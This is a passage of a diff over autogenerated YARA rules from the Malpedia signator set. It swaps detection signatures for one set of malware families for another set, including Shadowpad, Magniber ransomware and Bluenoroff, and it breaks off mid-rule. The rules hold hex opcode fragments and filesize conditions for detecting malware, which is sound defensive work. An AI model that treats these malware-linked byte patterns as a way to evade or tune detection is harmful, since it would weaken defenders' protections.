-		$sequence_7 = { 59 5d c3 ff7508 6a00 ff35???????? }
-		$sequence_8 = { 90 90 e10b 96 7c90 90 }
-		$sequence_9 = { 90 90 749b 807ce19a80 7c90 }
-		$sequence_10 = { 807c909090 90 90 90 90 90 }
-		$sequence_11 = { 3c2e 7404 3c2c 7506 41 8a0431 2c20 }
-		$sequence_12 = { ffd6 6a04 8d45c0 c745c001000000 }
-		$sequence_13 = { 7202 04e0 8bcf 0fb6c0 c1c108 03c7 }
-		$sequence_14 = { c745c001000000 50 6a41 53 ffd6 baf608f7a4 }
-		$sequence_15 = { 837d1000 740d 8b5508 0355f0 }
-		$sequence_16 = { 0355f0 8a45ec 8802 eb0b 8b4d08 034df0 8a55ed }
-		$sequence_17 = { 83c005 c3 31b7807c30ae 807c909090 90 bdfd807c90 90 }
-		$sequence_18 = { 3bcf 7ce2 8b4dbc 8d9524feffff e8???????? 8d8524feffff 50 }
-		$sequence_19 = { 8d3c08 66391e 75e3 8b5df4 }
-		$sequence_20 = { 749b 807ce19a80 7c90 90 90 90 }
-		$sequence_21 = { 8bcf 8bf0 e8???????? 8945f8 8d45c4 50 8d45f0 }
-		$sequence_22 = { 90 90 bffc807c28 1a807c170e81 7cd7 9b }
-		$sequence_23 = { 8b75f8 85c0 7412 814df080330000 8d45f0 6a04 50 }
+		$sequence_0 = { e8???????? 8be5 5d c20800 8b45e4 c745b800000000 c745bc00000000 }
+		$sequence_1 = { 52 ff15???????? 8b4508 8b0c85e8c24700 83e102 740d 8d95e4dfffff }
+		$sequence_2 = { ffb5c4e7ffff 8985a0e7ffff ffb5bce7ffff c745ec04000000 }
+		$sequence_3 = { 57 50 8d45f4 64a300000000 8d4dd0 e8???????? }
+		$sequence_4 = { e8???????? 8b85acfeffff 83f810 7212 40 6a01 }
+		$sequence_5 = { eb9b 8b4dfc c1f906 8b55fc 83e23f 6bc230 03048d40e04700 }
+		$sequence_6 = { e8???????? 8845dc c745fc01000000 84c0 0f84b3010000 8d45d0 50 }
+		$sequence_7 = { 8d0c8584d64700 51 e8???????? 83c408 }
+		$sequence_8 = { 64a300000000 68b8000000 8d8598fdffff 6a00 50 e8???????? 68???????? }
+		$sequence_9 = { 8b5508 83e23f 6bd230 8b0c8d40e04700 8844112d 8b45ec d1e0 }
 
 	condition:
-		7 of them and filesize <65536
+		7 of them and filesize <1163264
 }
-rule MALPEDIA_Win_Fakerean_Auto : FILE
+rule MALPEDIA_Win_Shadowpad_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a7ea6f88-76f7-54f5-a9b5-14fd4ef8d3d9"
+		id = "c7d36336-f736-58f8-9fa1-3e3ab1239351"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fakerean"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.fakerean_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowpad"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.shadowpad_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "7dfee10ceca58c69279376a54d184530389bbd0c9b8b6dd9a398c5796de2f6f3"
+		logic_hash = "af53d025dfe83e5b7a4ca7b9e68b22a960854fdb5b48b2d1cee2b2ef3fbc15f2"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -176852,32 +183863,32 @@ rule MALPEDIA_Win_Fakerean_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 752e 8945fc eb29 395dfc 7524 57 8bce }
-		$sequence_1 = { 49 6a01 ff750c 50 57 ff7514 40 }
-		$sequence_2 = { ff15???????? 3d14050000 74e5 ff7508 56 57 ff15???????? }
-		$sequence_3 = { ff7508 ff15???????? 3bc3 0f8495000000 8b400c 8b00 }
-		$sequence_4 = { 59 3bc3 7419 8d5010 e8???????? 8945e0 3bc3 }
-		$sequence_5 = { ff35???????? ff15???????? 6800000500 6aec ff35???????? ff15???????? 680000cf06 }
-		$sequence_6 = { 741a 81fe00020000 7d12 56 8bc7 e8???????? }
-		$sequence_7 = { 8b4df0 6bc018 6bc918 8b4c190c 2b4c1804 f7df }
-		$sequence_8 = { f7d8 1bc0 25bfe0ffff 05401f0000 50 ff35???????? ff15???????? }
-		$sequence_9 = { 8d45f0 50 8d450c 50 ff15???????? 85c0 7431 }
+		$sequence_0 = { e8???????? 59 8d75dc a3???????? e8???????? 53 ff15???????? }
+		$sequence_1 = { 5b c9 c3 55 8bec b8f8100000 e8???????? }
+		$sequence_2 = { 8bec 53 57 ff7508 ff15???????? 8d7801 }
+		$sequence_3 = { 8d45e8 50 53 8d75d0 }
+		$sequence_4 = { 7e25 8a0c56 8a445601 80e961 2c6a }
+		$sequence_5 = { 50 6a04 5f e8???????? 85c0 75ae 8d4310 }
+		$sequence_6 = { 83ec24 53 56 57 33ff 393d???????? }
+		$sequence_7 = { e8???????? 8b1d???????? 50 ffd3 6800010000 668945f0 }
+		$sequence_8 = { 8bfe 8d45e8 895de8 895dec 895df4 895df0 885df8 }
+		$sequence_9 = { 0fb639 c1ce08 83cf20 03f7 83c102 81f6a3d9357c 663919 }
 
 	condition:
-		7 of them and filesize <4071424
+		7 of them and filesize <188416
 }
-rule MALPEDIA_Win_Asruex_Auto : FILE
+rule MALPEDIA_Win_Unidentified_099_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "899abd0f-c835-5f70-819c-92570cc9b462"
+		id = "855e4e32-6d4e-59ad-a575-6df1a0196662"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.asruex"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.asruex_auto.yar#L1-L112"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_099"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_099_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "a14db0e4e44f1156fe16afe843345aa29b9b1f1eb3cc060b10e0bcdf06eb97d4"
+		logic_hash = "258a0ad9f77598150260878a992142883eda125a250cf06189b6139c76537e6e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -176891,32 +183902,32 @@ rule MALPEDIA_Win_Asruex_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 85c0 740e 85ed 740a }
-		$sequence_1 = { 7408 3c0d 7404 3c0a 7516 }
-		$sequence_2 = { 83f801 740e 83f803 7409 83f802 }
-		$sequence_3 = { ff15???????? 85c0 7407 3d14270000 }
-		$sequence_4 = { 740c 3c09 7408 3c0d 7404 3c0a 7516 }
-		$sequence_5 = { 7404 3c58 7505 bb01000000 }
-		$sequence_6 = { 3c09 7408 3c0d 7404 3c0a 7516 }
-		$sequence_7 = { 3c78 7404 3c58 7505 bb01000000 }
-		$sequence_8 = { 3c0d 7404 3c0a 7516 }
-		$sequence_9 = { e8???????? 83f8ff 7407 3d0000a000 }
+		$sequence_0 = { 4d8bc4 418bd6 498bcf e8???????? 4c8d8df0010000 458bc6 498bd7 }
+		$sequence_1 = { 488d4808 e8???????? 488d057dec0000 488903 488bc3 }
+		$sequence_2 = { 488d0deb1effff 48c1e602 0fb784b910600100 488d9100570100 488d8d24030000 4c8bc6 4803cb }
+		$sequence_3 = { 0fb6842930ef0100 4883c103 8802 488d5201 4881f959010000 7ce5 4533c9 }
+		$sequence_4 = { 443820 75e4 8bca ffc2 4803c9 }
+		$sequence_5 = { 488bd6 488be8 4d8d4715 488d442468 488bcd 4889442420 e8???????? }
+		$sequence_6 = { 85c0 7424 8b15???????? 33c0 85d2 7418 }
+		$sequence_7 = { 488d5b01 4883ef01 75d8 33c0 488dbdf0010000 }
+		$sequence_8 = { ba02000000 660f1f440000 488d8980000000 0f1000 0f104810 }
+		$sequence_9 = { c7442470fedcba98 c744247476543210 660f1f440000 49ffc0 42803c0000 75f6 488d55d0 }
 
 	condition:
-		7 of them and filesize <1564672
+		7 of them and filesize <314368
 }
-rule MALPEDIA_Win_Avast_Disabler_Auto : FILE
+rule MALPEDIA_Win_Magniber_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "6a09cca4-7cb6-5c97-b15b-4f7311a6621b"
+		id = "05f5671a-f33b-5211-a81c-43695f05ea5d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.avast_disabler"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.avast_disabler_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.magniber"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.magniber_auto.yar#L1-L164"
 		license_url = "N/A"
-		logic_hash = "19754a7bc503b1b28bdfc059b6eb230f6f3e29b2e990d8ace51bd954a83ec439"
+		logic_hash = "a03ae86175c535bb9d3d882302b08d3c7bb8579783b2000a5224d25eaa155af3"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -176930,32 +183941,37 @@ rule MALPEDIA_Win_Avast_Disabler_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 85c0 7404 3bc1 7515 0f31 35???????? }
-		$sequence_1 = { 7534 837c371400 752d 89443714 6a08 8d45f4 50 }
-		$sequence_2 = { b94ee640bb 85c0 7404 3bc1 7515 }
-		$sequence_3 = { 2b4c3718 51 53 53 50 e8???????? 8b4dfc }
-		$sequence_4 = { 50 ff15???????? 6a01 8d45f8 50 ff750c ff15???????? }
-		$sequence_5 = { 33c0 40 394510 7534 837c371400 752d }
-		$sequence_6 = { 8b5c3718 83c112 03d9 837d1000 }
-		$sequence_7 = { 75a9 5f 5e 5b 5d c21000 55 }
-		$sequence_8 = { 51 803d????????00 7520 c605????????01 }
-		$sequence_9 = { 5f 5e 5b 8be5 5d c20c00 3b0d???????? }
+		$sequence_0 = { 50 e8???????? 83c408 837dfc00 7502 eb31 6a00 }
+		$sequence_1 = { 8b45e8 50 ff15???????? 8b4df4 51 }
+		$sequence_2 = { c785a0fafffff0934000 c785a4fafffff8934000 c785a8faffff00944000 c785acfaffff08944000 }
+		$sequence_3 = { 50 8b4df4 51 ff15???????? 8b45f8 99 }
+		$sequence_4 = { 83c408 8b4dfc 8b55f8 6689044a }
+		$sequence_5 = { c7852cfbffff14954000 c78530fbffff1c954000 c78534fbffff24954000 c78538fbffff2c954000 c7853cfbffff34954000 c78540fbffff40954000 }
+		$sequence_6 = { 66894da4 ba2f000000 668955a6 b853000000 668945a8 b943000000 }
+		$sequence_7 = { 0f842e010000 660f57c0 660f1345b0 6a00 8d4df8 51 6a10 }
+		$sequence_8 = { f76e9f 32d8 2d7a350e78 95 }
+		$sequence_9 = { 4834b0 184026 e221 a1????????05eef081 e0f8 29aed0515fa6 8d4f0e }
+		$sequence_10 = { 56 18cb 52 fc 285f44 c1c70d 11fb }
+		$sequence_11 = { e8???????? 32cb 5a b3b1 }
+		$sequence_12 = { 4e4e54 70ac 52 f8 a6 6e }
+		$sequence_13 = { 29aed0515fa6 8d4f0e 7f4c c82cd1c6 1a32 b636 }
+		$sequence_14 = { 5a b3b1 3e6c 21746c2e 4834b0 184026 }
 
 	condition:
-		7 of them and filesize <41984
+		7 of them and filesize <117760
 }
-rule MALPEDIA_Win_Acehash_Auto : FILE
+rule MALPEDIA_Win_Fonix_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "14f9c3a4-6e4e-554e-b1b7-7826b028e7e0"
+		id = "bd0f7338-d5ae-57b4-8254-a4a394cfa806"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.acehash"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.acehash_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fonix"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.fonix_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "a82974d1f4758bd3335b7cc99825d249f1ec423d226c32410d6047b493cb8d39"
+		logic_hash = "a1de19ea9d27789030065bff520751643f536c0deae9fbccf8fe2c31cafb92ef"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -176969,32 +183985,32 @@ rule MALPEDIA_Win_Acehash_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 4885c0 7420 488d1599dc0200 488bcb ff15???????? 488bc8 }
-		$sequence_1 = { 85c0 0f85e6000000 4c8b470c 488b55d0 488b4f04 ff15???????? 8bd8 }
-		$sequence_2 = { 488b7d98 8b742440 8b542458 41bb00020000 4c8d0d4e23feff 448a3f 4584ff }
-		$sequence_3 = { 7510 b810000000 488b5c2430 4883c420 5f c3 4885db }
-		$sequence_4 = { 85ff 0f8513ffffff 33c0 4c8b642450 4c8b6c2458 488b5c2460 4883c430 }
-		$sequence_5 = { 442b8486a0e10300 4533d8 83bf800000000a 0f863c010000 8b4730 8b4f70 458d0c03 }
-		$sequence_6 = { 8bc3 483bd0 0f871a050000 4c8d151995fdff 4403f2 4b8b8ceaa0511100 8a443108 }
-		$sequence_7 = { 8bfd 66895802 410fb78704100000 0fbfcb }
-		$sequence_8 = { 7cda 440fbf4302 418bd4 488bce 468d048508000000 e8???????? 488d0d33240300 }
-		$sequence_9 = { 48833d????????00 488d0581900300 740f 3908 740e 4883c010 4883780800 }
+		$sequence_0 = { 50 8d5508 c645fc0e 8d8df4fbffff e8???????? 51 51 }
+		$sequence_1 = { 83c408 85ff 0f8533ffffff 0f1045a8 8bb56cffffff 0f114590 f30f7e45b8 }
+		$sequence_2 = { c1c107 894c2434 8b4c2428 03ca 33f1 c1c610 03c6 }
+		$sequence_3 = { 8b7d74 8d4500 57 50 ff7578 8d4530 c645fc0a }
+		$sequence_4 = { c645fc1e e8???????? c645fc1f 68???????? 8d8d68fdffff e8???????? 68???????? }
+		$sequence_5 = { e8???????? bf6e060000 c645fc0a 57 e8???????? 59 8bf0 }
+		$sequence_6 = { 8bf0 ff5208 0faff0 8d4b0c 56 e8???????? }
+		$sequence_7 = { 8d8d0cfcffff e8???????? 83ec18 8d4508 }
+		$sequence_8 = { 8d4101 898d7cffffff 50 8d4dd8 e8???????? 8bd0 8b856cffffff }
+		$sequence_9 = { 50 56 e8???????? 83c40c 84c0 7404 }
 
 	condition:
-		7 of them and filesize <2318336
+		7 of them and filesize <2226176
 }
-rule MALPEDIA_Win_Mirai_Auto : FILE
+rule MALPEDIA_Win_Darkshell_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "81ec826d-82b4-5432-816d-754db384603c"
+		id = "54238af5-7449-55bf-9dc2-08b5916a169b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mirai"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mirai_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkshell"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.darkshell_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "141eec0723c6032d1109e3ff4e6c77adfb4c0eb70a7f0ab199e555f3b3d9eb19"
+		logic_hash = "b58c1bc2e0988d2ff26125d2777445ac18dab56ca2991d83e57c5d570ae3c235"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -177008,32 +184024,32 @@ rule MALPEDIA_Win_Mirai_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 83c408 85c0 7535 8b742408 50 68???????? }
-		$sequence_1 = { 8b8d48feffff e8???????? 8d4db0 e8???????? 8365fc00 83a578feffff00 8d8554feffff }
-		$sequence_2 = { e8???????? 83c40c 5d c3 8b5510 8b450c 8b4904 }
-		$sequence_3 = { 8bf3 c1ee18 334cb500 8b2d???????? 0fb6f2 334cb500 8b35???????? }
-		$sequence_4 = { 8bcd e8???????? 8bc8 e8???????? 8b10 8b12 6a5c }
-		$sequence_5 = { e8???????? 8b54244c 56 53 52 53 ff15???????? }
-		$sequence_6 = { c3 55 8bec 51 51 6a17 68???????? }
-		$sequence_7 = { c20400 55 8bec 83ec14 894df0 c745f401000000 837df400 }
-		$sequence_8 = { 8bbcbd00100000 81e70000ff00 33f7 0fb6fd 8bbcbd00100000 81e700ff0000 33f7 }
-		$sequence_9 = { e8???????? 8365f800 8b45fc c9 c3 55 8bec }
+		$sequence_0 = { 83c004 8901 83c014 8902 6681380b01 7511 }
+		$sequence_1 = { 6a00 6a00 50 53 ffd5 8be8 }
+		$sequence_2 = { 7413 8b4c2410 8b54240c 51 52 ffd0 }
+		$sequence_3 = { ff542414 53 ff542414 56 ff15???????? }
+		$sequence_4 = { 8d542418 6a04 52 684be12200 50 }
+		$sequence_5 = { e8???????? 8b4c2414 8bf0 8b442418 6800400000 50 }
+		$sequence_6 = { 89442418 ffd7 6a00 6a00 6a00 6a00 }
+		$sequence_7 = { 55 ff542424 55 ff542414 53 }
+		$sequence_8 = { 8902 6681380b01 7511 8b4c2410 05e0000000 8901 b801000000 }
+		$sequence_9 = { ff15???????? 8b542410 8d4c2414 51 6a04 52 }
 
 	condition:
-		7 of them and filesize <7086080
+		7 of them and filesize <344064
 }
-rule MALPEDIA_Win_Logpos_Auto : FILE
+rule MALPEDIA_Win_Unidentified_077_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1863375d-233c-50fe-9230-efcb27bcbb2c"
+		id = "882d313e-f7f0-5285-8af9-6252268fd85d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.logpos"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.logpos_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_077"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_077_auto.yar#L1-L116"
 		license_url = "N/A"
-		logic_hash = "c3acfde126a6fa182645fe56f6caf8ed6c2b8f53215730338bb39d48d6bd3dac"
+		logic_hash = "40d4971486b6904e4039a2237673f8c9270e32fac79f99c950b8e92b2f7aa0ab"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -177047,32 +184063,32 @@ rule MALPEDIA_Win_Logpos_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 89e5 0fb64508 83f830 0f8c13000000 83f839 0f8f0a000000 }
-		$sequence_1 = { 89ec 5d c3 55 89e5 83ec20 53 }
-		$sequence_2 = { 884c2408 0fb6442408 83f841 0f8c09000000 83f85a 0f8e37000000 0fb6442408 }
-		$sequence_3 = { 53 e8???????? 894330 682a5a9294 ff33 ff7370 }
-		$sequence_4 = { 8b4d10 8a450c 8b7d08 fc f3aa 61 }
-		$sequence_5 = { ff9380000000 48 83c420 48 85f6 7409 48 }
-		$sequence_6 = { c785f8fbffff01000000 68f4010000 ff15???????? 0fb69507fcffff b90f000000 }
-		$sequence_7 = { 83f800 0f8537000000 833d????????00 0f852a000000 837d1400 0f848c000000 }
-		$sequence_8 = { 5a c9 c3 41 52 }
-		$sequence_9 = { 0f8549000000 8b45fc c680a360400000 8b45fc }
+		$sequence_0 = { 89442420 488bcf ff15???????? 85c0 }
+		$sequence_1 = { 488bcf ff15???????? 498bce ff15???????? 488bce }
+		$sequence_2 = { 488bb424f00d0000 488b8dd00c0000 4833cc e8???????? 4881c4f80d0000 }
+		$sequence_3 = { 0f8559ffffff 488bcf ff15???????? 498bce ff15???????? 488bce ff15???????? }
+		$sequence_4 = { 498784f180bf0100 eb25 488bc3 498784f180bf0100 4885c0 }
+		$sequence_5 = { 4d8be1 498be8 4c8bea 4b8b8cf7e0c70100 4c8b15???????? }
+		$sequence_6 = { 33db 33ff 4c8bea 4c8be1 4883fa40 7312 }
+		$sequence_7 = { f30f6f0418 660fefc1 f30f7f0418 8d4210 83c220 f30f6f0418 660fefc1 }
+		$sequence_8 = { 0f8559ffffff 488bcf ff15???????? 498bce }
+		$sequence_9 = { e8???????? 85c0 0f85c6000000 448b442468 }
 
 	condition:
-		7 of them and filesize <57344
+		7 of them and filesize <270336
 }
-rule MALPEDIA_Win_Croxloader_Auto : FILE
+rule MALPEDIA_Win_Bluenoroff_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4c54923c-05d0-5bcf-b03e-4330bb61dd7a"
+		id = "c5a8ede1-c77a-5a4b-899a-3e41c1e4e510"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.croxloader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.croxloader_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bluenoroff"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bluenoroff_auto.yar#L1-L113"
 		license_url = "N/A"
-		logic_hash = "c88e829bb61a0a12fc0c92bdb08f88ad90c78cd22176146404aa71918162c3b2"
+		logic_hash = "65b6fe6298815292c6af264e82e027897f56c9c87e000fed42924fa12c98e75b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -177086,32 +184102,32 @@ rule MALPEDIA_Win_Croxloader_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 488d0dd0590100 eb0c 83f901 750d 488d0dda590100 }
-		$sequence_1 = { 498b84ff18910100 90 493bc6 0f84eb000000 4885c0 }
-		$sequence_2 = { 4883ec20 488364243800 4c8d442438 8bd9 488d157aa80000 33c9 }
-		$sequence_3 = { 4b8b84e010970100 42804cf03d04 38558f ebcc ff15???????? }
-		$sequence_4 = { 488d0d09520100 e8???????? 488d0d05520100 e8???????? 488b0d???????? e8???????? 488b0d???????? }
-		$sequence_5 = { 4883f9ff 7406 ff15???????? 48832300 4883c308 488d05fc240100 }
-		$sequence_6 = { 4c8d0562eb0000 83e23f 488bcb 48c1f906 488d14d2 498b0cc8 8064d138fd }
-		$sequence_7 = { 8938 e8???????? 488d1db32f0100 4885c0 }
-		$sequence_8 = { 4c8d05c9890100 ba920e0332 b95595db6d e8???????? 4c8d05038a0100 ba436a459e b9edb0da1e }
-		$sequence_9 = { 3b1d???????? 736a 488bc3 4c8d35de000100 83e03f 488bf3 48c1fe06 }
+		$sequence_0 = { 83f802 750e 8d95fcfffeff 52 68???????? }
+		$sequence_1 = { 8d8df8feffff 51 ff15???????? 0fbe95f8feffff 68???????? }
+		$sequence_2 = { 85f6 743a 8d85fcfffeff 50 }
+		$sequence_3 = { 894e04 e8???????? 83c40c 5f }
+		$sequence_4 = { eb10 85c0 7514 8d85fcfffeff 50 68???????? }
+		$sequence_5 = { 83feff 7433 8d4e01 51 6a40 }
+		$sequence_6 = { 68ffff0000 50 e8???????? 33c0 }
+		$sequence_7 = { 56 6a10 68???????? e8???????? 83c410 813ed0c0b0a0 }
+		$sequence_8 = { 33ff 53 ff15???????? 8b450c 85c0 7402 }
+		$sequence_9 = { 50 0fb785f4fffeff 51 52 }
 
 	condition:
-		7 of them and filesize <241664
+		7 of them and filesize <303104
 }
-rule MALPEDIA_Win_Nautilus_Auto : FILE
+rule MALPEDIA_Win_Chinad_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "bd0f8568-9347-5c4b-aef6-8e7929cf6017"
+		id = "55179322-c960-5946-aa14-87280de490d7"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nautilus"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nautilus_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chinad"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.chinad_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "6e0983236c8ba852bb2af3aa295c07b825fa6ac12512321743324e3ea59238a7"
+		logic_hash = "f63725bd92056d22834dfb19b05368c2071df890649a72d3254d014778d263a0"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -177125,34 +184141,34 @@ rule MALPEDIA_Win_Nautilus_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8bcf e8???????? 8bd8 8bcd e8???????? 85db 8bce }
-		$sequence_1 = { 85c0 740c 488b4598 4833c7 e9???????? c74424200f000000 e9???????? }
-		$sequence_2 = { 8bfe 486313 488d0dcc340600 f6040a02 744b 418d46fa 488bcb }
-		$sequence_3 = { 85c0 7892 488d4c2430 498bd4 e8???????? 85c0 7981 }
-		$sequence_4 = { ba03000000 4d8bc5 8d4aff e8???????? 4c8be0 4885c0 7509 }
-		$sequence_5 = { 85f6 750c 33c0 eb3a 488b0b 49890e eb30 }
-		$sequence_6 = { 85c0 79d6 4c8d45cf 488d55cf 488d4db7 e8???????? 8bd8 }
-		$sequence_7 = { eb07 c745e006000000 488d45e0 41b912000000 4d8bc4 498bd5 488bcf }
-		$sequence_8 = { 4883f803 0f8cef010000 488bd3 488bcd ff95c8010000 85c0 0f8599feffff }
-		$sequence_9 = { e8???????? 85c0 7531 488d4db0 33d2 e8???????? 85c0 }
+		$sequence_0 = { c7850cffffff00000000 eb55 c78550ffffffbc264300 8b9550ffffff 83c201 8995b4feffff 8b8550ffffff }
+		$sequence_1 = { 8b85a8feffff 899485acfeffff e9???????? b904000000 6bd100 8b4508 8b0c10 }
+		$sequence_2 = { 2bf8 8bc2 c1f819 03f0 897dec c1e019 }
+		$sequence_3 = { 895de8 1bde 0145f4 8b75ac 119d7cffffff 8b5dec 81c300001000 }
+		$sequence_4 = { 0fa4c119 c1ee07 c1e019 0bd1 0bf0 31b514fdffff }
+		$sequence_5 = { 0fa4f701 6a13 03f6 03b55cffffff 89b560ffffff 137dcc 81c600000001 }
+		$sequence_6 = { c1c802 33c8 8b85d4feffff 8bd8 03ca 2385d8feffff }
+		$sequence_7 = { 81d7745dbe72 019d14fdffff 11bd38fdffff 33d2 0facc81c c1e604 }
+		$sequence_8 = { 8b4e24 83c40c c1e903 b838000000 83e13f 83f938 7205 }
+		$sequence_9 = { b894280000 e8???????? a1???????? 33c5 8945fc c78570d7ffff80280000 8d8570d7ffff }
 
 	condition:
-		7 of them and filesize <1302528
+		7 of them and filesize <598016
 }
-rule MALPEDIA_Win_Ghostemperor_Auto : FILE
+rule MALPEDIA_Win_Zumanek_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "22543585-64e5-59d9-a95f-0fb017ff004e"
+		id = "87aee693-fd24-5045-ad68-bbf967fca577"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghostemperor"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ghostemperor_auto.yar#L1-L228"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zumanek"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.zumanek_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "91e3702f968d398f5f44f42cafec6cc32480eb0e4729b0b5f30643c45ff1a402"
+		logic_hash = "692948458546aa7f1172f720f7a047815fbd39df276c694923c84a71f1135e40"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -177164,45 +184180,32 @@ rule MALPEDIA_Win_Ghostemperor_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { b801000000 4883c428 5b 5d 5f 5e }
-		$sequence_1 = { 31d2 41b801000000 4531c9 ff15???????? }
-		$sequence_2 = { 41c1ea03 4183e007 4585d2 0f84b9000000 }
-		$sequence_3 = { 8b5b10 4885db 7431 c7471800000000 89d9 }
